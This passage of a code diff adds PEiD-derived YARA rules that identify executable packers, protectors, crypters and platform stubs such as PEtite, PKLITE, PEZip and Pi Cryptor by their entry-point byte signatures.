+        description = "[PEtite v1.2]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 CA ?? ?? ?? 03 ?? 04 ?? 05 ?? 06 ?? 07 ?? 08}
+    condition:
+        $a
+}
+
+rule PEiD_01677_PEtite_v1_3_
+{
+    meta:
+        description = "[PEtite v1.3]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? ?? 66 9C 60 50 8D 88 ?? F0 ?? ?? 8D 90 04 16 ?? ?? 8B DC 8B E1 68 ?? ?? ?? ?? 53 50 80 04 24 08 50 80 04 24 42}
+    condition:
+        $a
+}
+
+rule PEiD_01678_PEtite_v1_4_
+{
+    meta:
+        description = "[PEtite v1.4]"
+        ep_only = "true"
+    strings:
+        $a = {66 9C 60 50 8B D8 03 ?? 68 54 BC ?? ?? 6A ?? FF 50 14 8B CC}
+    condition:
+        $a
+}
+
+rule PEiD_01679_PEtite_v1_4_
+{
+    meta:
+        description = "[PEtite v1.4]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? ?? 66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC}
+    condition:
+        $a
+}
+
+rule PEiD_01680_Petite_v1_4_
+{
+    meta:
+        description = "[Petite v1.4]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 66 9C 60 50 8B D8 03 00 68 ?? ?? ?? ?? 6A 00}
+    condition:
+        $a
+}
+
+rule PEiD_01681_PEtite_v2_0_
+{
+    meta:
+        description = "[PEtite v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 66 9C 60 50 8B D8 03 ?? 68 54 BC ?? ?? 6A ?? FF 50 18 8B CC 8D A0 54 BC ?? ?? 8B C3 8D 90 E0 15 ?? ?? 68}
+    condition:
+        $a
+}
+
+rule PEiD_01682_Petite_v2_1__1__
+{
+    meta:
+        description = "[Petite v2.1 (1)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 66 9C 60 50}
+    condition:
+        $a
+}
+
+rule PEiD_01683_Petite_v2_1__2__
+{
+    meta:
+        description = "[Petite v2.1 (2)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 66 9C 60 50}
+    condition:
+        $a
+}
+rule PEiD_01684_PEtite_v2_1_
+{
+    meta:
+        description = "[PEtite v2.1]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 66 9C 60 50}
+    condition:
+        $a
+}
+/*
+rule PEiD_01685_Petite_v2_2____www_un4seen_com_petite_
+{
+    meta:
+        description = "[Petite v2.2 -> www.un4seen.com/petite]"
+        ep_only = "false"
+    strings:
+        $a = {B8 00 ?0 4? 00 6? 00 ?? ?? 0? ?? ?? ?? ?? ?? 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01686_Petite_v2_2____www_un4seen_com_petite_
+{
+    meta:
+        description = "[Petite v2.2 -> www.un4seen.com/petite]"
+        ep_only = "true"
+    strings:
+        $a = {B8 00 ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00}
+    condition:
+        $a
+}
+*/
+rule PEiD_01687_PEtite_v2_2____www_un4seen_com_petite_
+{
+    meta:
+        description = "[PEtite v2.2 -> www.un4seen.com/petite]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 66 9C 60 50}
+    condition:
+        $a
+}
+rule PEiD_01688_Petite_v_____after_v1_4__
+{
+    meta:
+        description = "[Petite v?.? (after v1.4)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 66 9C 60 50 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 83}
+    condition:
+        $a
+}
+
+rule PEiD_01689_PEtite_vx_x_
+{
+    meta:
+        description = "[PEtite vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 66 9C 60 50}
+    condition:
+        $a
+}
+rule PEiD_01690_PeX_0_99__Eng_____bart_CrackPl_
+{
+    meta:
+        description = "[PeX 0.99 (Eng) -> bart/CrackPl]"
+        ep_only = "false"
+    strings:
+        $a = {E9 F5 00 00 00 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4}
+    condition:
+        $a
+}
+
+rule PEiD_01691_PeX_0_99____bart_CrackPl_
+{
+    meta:
+        description = "[PeX 0.99 -> bart^CrackPl]"
+        ep_only = "true"
+    strings:
+        $a = {E9 F5 ?? ?? ?? 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4}
+    condition:
+        $a
+}
+
+rule PEiD_01692_PeX_v0_99__Eng_____bart_CrackPl_
+{
+    meta:
+        description = "[PeX v0.99 (Eng) -> bart/CrackPl]"
+        ep_only = "true"
+    strings:
+        $a = {E9 F5 00 00 00 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 20 50 65 58 20 28 63 29 20 62 79 20 62 61 72 74 5E 43 72 61 63 6B 50 6C 20 62 65 74 61 20 72 65 6C 65 61 73 65 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 60 E8 01 00 00}
+    condition:
+        $a
+}
+rule PEiD_01693_pex_V0_99____params_
+{
+    meta:
+        description = "[pex V0.99 -> params]"
+        ep_only = "true"
+    strings:
+        $a = {E9 F5 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01694_PEX_v0_99_
+{
+    meta:
+        description = "[PEX v0.99]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 ?? ?? ?? ?? 83 C4 04 E8 01 ?? ?? ?? ?? 5D 81}
+    condition:
+        $a
+}
+
+rule PEiD_01695_PEZip_1_0_by_BaGIE_
+{
+    meta:
+        description = "[PEZip 1.0 by BaGIE]"
+        ep_only = "false"
+    strings:
+        $a = {D9 D0 F8 74 02 23 DB F5 F5 50 51 52 53 8D 44 24 10 50 55 56 57 D9 D0 22 C9 C1 F7 A0 55 66 C1 C8 B0 5D 81 E6 FF FF FF FF F8 77 07 52 76 03 72 01 90 5A C1 E0 60 90 BD 1F 01 00 00 87 E8 E2 07 E3 05 17 5D 47 E4 42 41 7F 06 50 66 83 EE 00 58 25 FF FF FF FF 51}
+    condition:
+        $a
+}
+
+rule PEiD_01696_PEZip_v1_0_by_BaGIE_
+{
+    meta:
+        description = "[PEZip v1.0 by BaGIE]"
+        ep_only = "false"
+    strings:
+        $a = {D9 D0 F8 74 02 23 DB F5 F5 50 51 52 53 8D 44 24 10 50 55 56 57 D9 D0 22 C9 C1 F7 A0 55 66 C1 C8 B0 5D 81 E6 FF FF FF FF F8 77 07 52 76 03 72 01 90 5A C1 E0 60 90 BD 1F 01 00 00 87 E8 E2 07 E3 05 17 5D 47 E4 42 41 7F 06 50 66 83 EE 00 58 25 FF FF FF FF 51 0F B6 C9 66 83 F6 00 3D CB 60 47 92 50 40 58 FC E2 EE 59 F8 7C 08 53 74 04 78 02 84 C9 5B 66 0B ED F8 F5 BA 9F FA FF FF 52 57 77 04 78 02 84 E4 5F 5A 50 80 EF 00 58 50 81 E0 FF FF FF FF 58 3C EF FC 7A 05 3D DF DA AC D1 05 00 00 00 00 73 05 71 03 7E 01 90 EB 02 EB 05 E8 F9 FF FF FF 83 C0 00 7B 06 53 66 BB 74 EF 5B F8 8B 3C 24 83 C4 04 51 0F B6 C9 66 C1 C7 30 0B D2 53 66 83 FD F6 5B 55 6A 97 83 C4 04 5D E2 E8 59 53 55 51 66 83 E9 00 59 5D 5B F8 01 FA 22 C9 7A 02 8D 3F 79 08 71 06 52 66 A9 6E E3 5A 51 0F B6}
+    condition:
+        $a
+}
+rule PEiD_01697_PGMPACK_v0_13_
+{
+    meta:
+        description = "[PGMPACK v0.13]"
+        ep_only = "true"
+    strings:
+        $a = {FA 1E 17 50 B4 30 CD 21 3C 02 73 ?? B4 4C CD 21 FC BE ?? ?? BF ?? ?? E8 ?? ?? E8 ?? ?? BB ?? ?? BA ?? ?? 8A C3 8B F3}
+    condition:
+        $a
+}
+
+rule PEiD_01698_PGMPACK_v0_14_
+{
+    meta:
+        description = "[PGMPACK v0.14]"
+        ep_only = "true"
+    strings:
+        $a = {1E 17 50 B4 30 CD 21 3C 02 73 ?? B4 4C CD 21 FC BE ?? ?? BF ?? ?? E8 ?? ?? E8 ?? ?? BB ?? ?? BA ?? ?? 8A C3 8B F3}
+    condition:
+        $a
+}
+
+rule PEiD_01699_Phoenix_Protector_v1_0_v1_1____NTCore_com_
+{
+    meta:
+        description = "[Phoenix Protector v1.0/v1.1 -> NTCore.com]"
+        ep_only = "true"
+    strings:
+        $a = {02 6F ?? ?? ?? 0A 0A 06 8D ?? ?? ?? 01 0B 16 0C 38 36 00 00 00 02 08 6F ?? ?? ?? 0A 0D 09 06 08 59 61 D2 13 04 09 1E 63 08 61 D2 13 05 07 08 11 05 1E 62 11 04 60 D1 9D 08 17 58 0C 08 07 8E 69 38 0B 00 00 00 28 ?? ?? ?? 0A 2A 38 EC FF FF FF 3F C0 FF FF FF}
+    condition:
+        $a
+}
+rule PEiD_01700_Phonebook_configuration_file_Version__v3__v4_
+{
+    meta:
+        description = "[Phonebook configuration file Version %v3.%v4]"
+        ep_only = "false"
+    strings:
+        $a = {50 68 6F 6E 65 62 6F 6F 6B ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 63 6F}
+    condition:
+        $a
+}
+
+rule PEiD_01701_Pi_Cryptor_1_0___by_Scofield_
+{
+    meta:
+        description = "[Pi Cryptor 1.0 - by Scofield]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 56 57 31 C0 89 45 EC B8 40 1E 06 00 E8 48 FA FF FF 33 C0 55 68 36 1F 06 00 64 FF 30 64 89 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 31 C0 E8 4E F4 FF FF 8B 45 EC E8 F6 F7 FF FF 50 E8 CC FA FF FF 8B D8 83 FB FF}
+    condition:
+        $a
+}
+rule PEiD_01702_Pi_Cryptor_1_0___by_Scofield_
+{
+    meta:
+        description = "[Pi Cryptor 1.0 - by Scofield]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 56 57 31 C0 89 45 EC B8 40 1E 06 00 E8 48 FA FF FF 33 C0 55 68 36 1F 06 00 64 FF 30 64 89 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 31 C0 E8 4E F4 FF FF 8B 45 EC E8 F6 F7 FF FF 50 E8 CC FA FF FF 8B D8 83 FB FF 74 4E 6A 00 53 E8 CD FA FF FF 8B F8 81 EF AC 26 00 00 6A 00 6A 00 68 AC 26 00 00 53 E8 DE FA FF FF 89 F8 E8 E3 F1 FF FF 89 C6 6A 00 68 28 31 06 00 57 56 53 E8 AE FA FF FF 53 E8 80 FA FF FF 89 FA 81 EA 72 01 00 00 8B C6 E8 55 FE FF FF 89 C6 89 F0 09 C0 74 05 E8 A8 FB FF FF 31 C0}
+    condition:
+        $a
+}
+
+rule PEiD_01703_Pi_Cryptor_1_0___by_Scofield_
+{
+    meta:
+        description = "[Pi Cryptor 1.0 - by Scofield]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 56 57 31 C0 89 45 EC B8 40 1E 06 00 E8 48 FA FF FF 33 C0 55 68 36 1F 06 00 64 FF 30 64 89 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 31 C0 E8 4E F4 FF FF 8B 45 EC E8 F6 F7 FF FF 50 E8 CC FA FF FF 8B D8 83 FB FF 74 4E 6A 00 53 E8 CD FA FF FF 8B F8 81 EF AC 26 00 00 6A 00 6A 00 68 AC 26 00 00 53 E8 DE FA FF FF 89 F8 E8 E3 F1 FF FF 89 C6 6A 00 68 28 31 06 00 57 56 53 E8 AE FA FF FF 53 E8 80 FA FF FF 89 FA 81 EA 72 01 00 00 8B C6 E8 55 FE FF FF 89 C6 89 F0 09 C0 74 05 E8 A8 FB FF FF 31 C0 5A 59 59 64 89 10 68 3D 1F 06 00 8D 45 EC E8 C3 F6 FF FF C3}
+    condition:
+        $a
+}
+
+rule PEiD_01704_Pi_Cryptor_1_0___by_Scofield_
+{
+    meta:
+        description = "[Pi Cryptor 1.0 - by Scofield]"
+        ep_only = "false"
+    strings:
+        $a = {89 55 F8 BB 01 00 00 00 8A 04 1F 24 0F 8B 55 FC 8A 14 32 80 E2 0F 32 C2 8A 14 1F 80 E2 F0 02 D0 88 14 1F 46 8D 45 F4 8B 55 FC E8 ?? ?? ?? ?? 8B 45 F4 E8 ?? ?? ?? ?? 3B F0 7E 05 BE 01 00 00 00 43 FF 4D F8 75 C2 ?? ?? ?? ?? 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 F4 E8 ?? ?? ?? ?? C3 E9}
+    condition:
+        $a
+}
+rule PEiD_01705_PIRIT_v1_5_
+{
+    meta:
+        description = "[PIRIT v1.5]"
+        ep_only = "true"
+    strings:
+        $a = {B4 4D CD 21 E8 ?? ?? FD E8 ?? ?? B4 51 CD 21}
+    condition:
+        $a
+}
+
+rule PEiD_01706_PKLITE_v1_00__v1_03_
+{
+    meta:
+        description = "[PKLITE v1.00, v1.03]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? BA ?? ?? 8C DB 03 D8 3B}
+    condition:
+        $a
+}
+
+rule PEiD_01707_PKLITE_v1_00c__1__
+{
+    meta:
+        description = "[PKLITE v1.00c (1)]"
+        ep_only = "true"
+    strings:
+        $a = {2E 8C 1E ?? ?? 8B 1E ?? ?? 8C DA 81 C2 ?? ?? 3B DA 72 ?? 81 EB ?? ?? 83 EB ?? FA 8E D3 BC ?? ?? FB FD BE ?? ?? 8B FE}
+    condition:
+        $a
+}
+
+rule PEiD_01708_PKLITE_v1_00c__2__
+{
+    meta:
+        description = "[PKLITE v1.00c (2)]"
+        ep_only = "true"
+    strings:
+        $a = {BA ?? ?? A1 ?? ?? 2D ?? ?? 8C CB 81 C3 ?? ?? 3B C3 77 ?? 05 ?? ?? 3B C3 77 ?? B4 09 BA ?? ?? CD 21 CD 20 90}
+    condition:
+        $a
+}
+rule PEiD_01709_PKLITE_v1_12__v1_15__v1_20__1__
+{
+    meta:
+        description = "[PKLITE v1.12, v1.15, v1.20 (1)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 73 ?? 2D ?? ?? FA 8E D0 FB 2D ?? ?? 8E C0 50 B9 ?? ?? 33 FF 57 BE ?? ?? FC F3 A5 CB B4 09 BA ?? ?? CD 21 CD 20}
+    condition:
+        $a
+}
+
+rule PEiD_01710_PKLITE_v1_12__v1_15__v1_20__2__
+{
+    meta:
+        description = "[PKLITE v1.12, v1.15, v1.20 (2)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? BA ?? ?? 3B C4 73}
+    condition:
+        $a
+}
+
+rule PEiD_01711_PKLITE_v1_14__v1_15__v1_20__3__
+{
+    meta:
+        description = "[PKLITE v1.14, v1.15, v1.20 (3)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B ?? ?? ?? 72 ?? B4 09 BA ?? 01 CD 21 CD 20 4E 6F}
+    condition:
+        $a
+}
+
+rule PEiD_01712_PKLITE_v1_14__v1_20_
+{
+    meta:
+        description = "[PKLITE v1.14, v1.20]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 72 ?? B4 09 BA ?? ?? CD 21 CD 20}
+    condition:
+        $a
+}
+
+rule PEiD_01713_PKLITE_v1_20_
+{
+    meta:
+        description = "[PKLITE v1.20]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 72 ?? B4 09 BA ?? ?? CD 21 B4 4C CD 21}
+    condition:
+        $a
+}
+
+rule PEiD_01714_PKLITE_v1_50__1__
+{
+    meta:
+        description = "[PKLITE v1.50 (1)]"
+        ep_only = "true"
+    strings:
+        $a = {50 B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 72 ?? B4 ?? BA ?? ?? CD 21 B8 ?? ?? CD 21}
+    condition:
+        $a
+}
+
+rule PEiD_01715_PKLITE_v1_50__Device_driver_compression__
+{
+    meta:
+        description = "[PKLITE v1.50 (Device driver compression)]"
+        ep_only = "true"
+    strings:
+        $a = {B4 09 BA 14 01 CD 21 B8 00 4C CD 21 F8 9C 50 53 51 52 56 57 55 1E 06 BB}
+    condition:
+        $a
+}
+rule PEiD_01716_PKLITE_v2_00c_
+{
+    meta:
+        description = "[PKLITE v2.00c]"
+        ep_only = "true"
+    strings:
+        $a = {50 B8 ?? ?? BA ?? ?? 3B C4 73 ?? 8B C4 2D ?? ?? 25 ?? ?? 8B F8 B9 ?? ?? BE ?? ?? FC}
+    condition:
+        $a
+}
+/*
+rule PEiD_01717_PKLITE32_1_1____PKWARE_Inc__
+{
+    meta:
+        description = "[PKLITE32 1.1 -> PKWARE Inc.]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 00 00 00 00 E8 ?? ?? ?? ?? E9}
+    condition:
+        $a
+}
+
+*/
+
+rule PEiD_01718_PKLITE32_1_1_
+{
+    meta:
+        description = "[PKLITE32 1.1]"
+        ep_only = "true"
+    strings:
+        $a = {50 4B 4C 49 54 45 33 32 20 43 6F 70 79 72 69 67 68 74 20 31}
+    condition:
+        $a
+}
+
+rule PEiD_01719_PKLITE32_v1_1_
+{
+    meta:
+        description = "[PKLITE32 v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC A1 ?? ?? ?? ?? 85 C0 74 09 B8 01 00 00 00 5D C2 0C 00 8B 45 0C 57 56 53 8B 5D 10}
+    condition:
+        $a
+}
+rule PEiD_01720_PKLITE32_v1_1_
+{
+    meta:
+        description = "[PKLITE32 v1.1]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC A1 ?? ?? ?? ?? 85 C0 74 09 B8 01 ?? ?? ?? 5D C2 0C ?? 8B 45 0C 57 56 53 8B 5D 10}
+    condition:
+        $a
+}
+/*
+rule PEiD_01721_PKLITE32_v1_1_
+{
+    meta:
+        description = "[PKLITE32 v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 00 00 00 00 E8}
+    condition:
+        $a
+}
+*/
+rule PEiD_01722_PKLITE32_v1_1_
+{
+    meta:
+        description = "[PKLITE32 v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 44 24 0C 50}
+    condition:
+        $a
+}
+
+rule PEiD_01723_Pksmart_1_0b_
+{
+    meta:
+        description = "[Pksmart 1.0b]"
+        ep_only = "true"
+    strings:
+        $a = {BA ?? ?? 8C C8 8B C8 03 C2 81 ?? ?? ?? 51 B9 ?? ?? 51 1E 8C D3}
+    condition:
+        $a
+}
+rule PEiD_01724_PKTINY_v1_0_with_TINYPROG_v3_8_
+{
+    meta:
+        description = "[PKTINY v1.0 with TINYPROG v3.8]"
+        ep_only = "true"
+    strings:
+        $a = {2E C6 06 ?? ?? ?? 2E C6 06 ?? ?? ?? 2E C6 06 ?? ?? ?? E9 ?? ?? E8 ?? ?? 83}
+    condition:
+        $a
+}
+
+rule PEiD_01725_PKZIP_SFX_v1_1_1989_90_
+{
+    meta:
+        description = "[PKZIP-SFX v1.1 1989-90]"
+        ep_only = "true"
+    strings:
+        $a = {FC 2E 8C 0E ?? ?? A1 ?? ?? 8C CB 81 C3 ?? ?? 3B C3 72 ?? 2D ?? ?? 2D ?? ?? FA BC ?? ?? 8E D0 FB}
+    condition:
+        $a
+}
+
+rule PEiD_01726_PLINK86_1984__1985_
+{
+    meta:
+        description = "[PLINK86 1984, 1985]"
+        ep_only = "true"
+    strings:
+        $a = {FA 8C C7 8C D6 8B CC BA ?? ?? 8E C2 26}
+    condition:
+        $a
+}
+
+rule PEiD_01727_PluginToExe_v1_00____BoB___BobSoft_
+{
+    meta:
+        description = "[PluginToExe v1.00 -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 29 C0 5D 81 ED D1 40 40 00 50 FF 95 B8 40 40 00 89 85 09 40 40 00 FF 95 B4 40 40 00 89 85 11 40 40 00 50 FF 95 C0 40 40 00 8A 08 80 F9 22 75 07 50 FF 95 C4 40 40 00 89 85 0D 40 40 00 8B 9D 09 40 40 00 60 6A 00 6A 01 53 81 C3 ?? ?? ?? 00 FF D3 61 6A 00 68 44 69 45 50 FF B5 0D 40 40 00 6A 00 81 C3 ?? ?? ?? 00 FF D3 83 C4 10 FF 95 B0 40 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01728_PluginToExe_v1_01____BoB___BobSoft_
+{
+    meta:
+        description = "[PluginToExe v1.01 -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 29 C0 5D 81 ED C6 41 40 00 50 8F 85 71 40 40 00 50 FF 95 A5 41 40 00 89 85 6D 40 40 00 FF 95 A1 41 40 00 50 FF 95 B5 41 40 00 80 38 00 74 16 8A 08 80 F9 22 75 07 50 FF 95 B9 41 40 00 89 85 75 40 40 00 EB 6C 6A 01 8F 85 71 40 40 00 6A 58 6A 40 FF 95 A9 41 40 00 89 85 69 40 40 00 89 C7 68 00 08 00 00 6A 40 FF 95 A9 41 40 00 89 47 1C C7 07 58 00 00 00 C7 47 20 00 08 00 00 C7 47 18 01 00 00 00 C7 47 34 04 10 88 00 8D 8D B9 40 40 00 89 4F 0C 8D 8D DB 40 40 00 89 4F 30 FF B5 69 40 40 00 FF 95 95 41 40 00 FF 77 1C 8F 85 75 40 40 00 8B 9D 6D 40 40 00 60 6A 00 6A 01 53 81 C3 ?? ?? ?? 00 FF D3 61 6A 00 68 44 69 45 50 FF B5 75 40 40 00 6A 00 81 C3 ?? ?? 00 00 FF D3 83 C4 10 83 BD 71 40 40 00 00 74 10 FF 77 1C FF 95 AD 41 40 00 57 FF 95 AD 41 40 00 6A 00 FF 95 9D 41 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01729_PluginToExe_v1_02____BoB___BobSoft_
+{
+    meta:
+        description = "[PluginToExe v1.02 -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 29 C0 5D 81 ED 32 42 40 00 50 8F 85 DD 40 40 00 50 FF 95 11 42 40 00 89 85 D9 40 40 00 FF 95 0D 42 40 00 50 FF 95 21 42 40 00 80 38 00 74 16 8A 08 80 F9 22 75 07 50 FF 95 25 42 40 00 89 85 E1 40 40 00 EB 6C 6A 01 8F 85 DD 40 40 00 6A 58 6A 40 FF 95 15 42 40 00 89 85 D5 40 40 00 89 C7 68 00 08 00 00 6A 40 FF 95 15 42 40 00 89 47 1C C7 07 58 00}
+    condition:
+        $a
+}
+rule PEiD_01730_PMODE_W_v_1_12__1_16__1_21__1_33_DOS_extender_
+{
+    meta:
+        description = "[PMODE/W v.1.12, 1.16, 1.21, 1.33 DOS extender]"
+        ep_only = "true"
+    strings:
+        $a = {FC 16 07 BF ?? ?? 8B F7 57 B9 ?? ?? F3 A5 06 1E 07 1F 5F BE ?? ?? 06 0E A4}
+    condition:
+        $a
+}
+
+rule PEiD_01731_PocketPC_ARM__h__
+{
+    meta:
+        description = "[PocketPC ARM (h)]"
+        ep_only = "true"
+    strings:
+        $a = {F0 41 2D E9 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? A0 E1 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 50 E3 ?? 00 00 0A ?? ?? ?? ?? ?? ?? A0 ?? ?? ?? ?? ?? ?? ?? A0 ?? ?? ?? A0 E1 00 80 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? A0 E1}
+    condition:
+        $a
+}
+rule PEiD_01732_PocketPC_ARM_
+{
+    meta:
+        description = "[PocketPC ARM]"
+        ep_only = "true"
+    strings:
+        $a = {F0 40 2D E9 00 40 A0 E1 01 50 A0 E1 02 60 A0 E1 03 70 A0 E1 ?? 00 00 EB 07 30 A0 E1 06 20 A0 E1 05 10 A0 E1 04 00 A0 E1 ?? ?? ?? EB F0 40 BD E8 ?? 00 00 EA ?? 40 2D E9}
+    condition:
+        $a
+}
+
+rule PEiD_01733_PocketPC_ARM_
+{
+    meta:
+        description = "[PocketPC ARM]"
+        ep_only = "true"
+    strings:
+        $a = {F0 40 2D E9 00 40 A0 E1 01 50 A0 E1 02 60 A0 E1 03 70 A0 E1 ?? 00 00 EB 07 30 A0 E1 06 20 A0 E1 05 10 A0 E1 04 00 A0 E1 ?? ?? ?? EB F0 40 BD E8 ?? 00 00 EA ?? 40 2D E9 ?? ?? 9F E5 ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 9F E5 00 ?? ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_01734_PocketPC_MIB_
+{
+    meta:
+        description = "[PocketPC MIB]"
+        ep_only = "true"
+    strings:
+        $a = {E8 FF BD 27 14 00 BF AF 18 00 A4 AF 1C 00 A5 AF 20 00 A6 AF 24 00 A7 AF ?? ?? ?? 0C 00 00 00 00 18 00 A4 8F 1C 00 A5 8F 20 00 A6 8F ?? ?? ?? 0C 24 00 A7 8F ?? ?? ?? 0C 25 20 40 00 14 00 BF 8F 08 00 E0 03 18 00 BD 27 ?? FF BD 27 18 00 ?? AF}
+    condition:
+        $a
+}
+
+rule PEiD_01735_PocketPC_MIB_
+{
+    meta:
+        description = "[PocketPC MIB]"
+        ep_only = "true"
+    strings:
+        $a = {E8 FF BD 27 14 00 BF AF 18 00 A4 AF 1C 00 A5 AF 20 00 A6 AF 24 00 A7 AF ?? ?? ?? 0C 00 00 00 00 18 00 A4 8F 1C 00 A5 8F 20 00 A6 8F ?? ?? ?? 0C 24 00 A7 8F ?? ?? ?? 0C 25 20 40 00 14 00 BF 8F 08 00 E0 03 18 00 BD 27 ?? FF BD 27 18 00 ?? AF ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_01736_PocketPC_SHA_
+{
+    meta:
+        description = "[PocketPC SHA]"
+        ep_only = "true"
+    strings:
+        $a = {86 2F 96 2F A6 2F B6 2F 22 4F 43 68 53 6B 63 6A 73 69 F0 7F 0B D0 0B 40 09 00 09 D0 B3 65 A3 66 93 67 0B 40 83 64 03 64 04 D0 0B 40 09 00 10 7F 26 4F F6 6B F6 6A F6 69 0B 00 F6 68 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 22 4F F0 7F 0A D0 06 D4 06 D5 0B 40 09}
+    condition:
+        $a
+}
+rule PEiD_01737_Pohernah_1_0_0___by_Kas_
+{
+    meta:
+        description = "[Pohernah 1.0.0 - by Kas]"
+        ep_only = "true"
+    strings:
+        $a = {58 60 E8 00 00 00 00 5D 81 ED 20 25 40 00 8B BD 86 25 40 00 8B 8D 8E 25 40 00 6B C0 05 83 F0 04 89 85 92 25 40 00 83 F9 00 74 2D 81 7F 1C AB 00 00 00 75 1E 8B 77 0C 03 B5 8A 25 40 00 31 C0 3B 47 10 74 0E 50 8B 85 92 25 40 00 30 06 58 40 46 EB ED 83 C7 28}
+    condition:
+        $a
+}
+
+rule PEiD_01738_Pohernah_1_0_0___by_Kas_
+{
+    meta:
+        description = "[Pohernah 1.0.0 - by Kas]"
+        ep_only = "true"
+    strings:
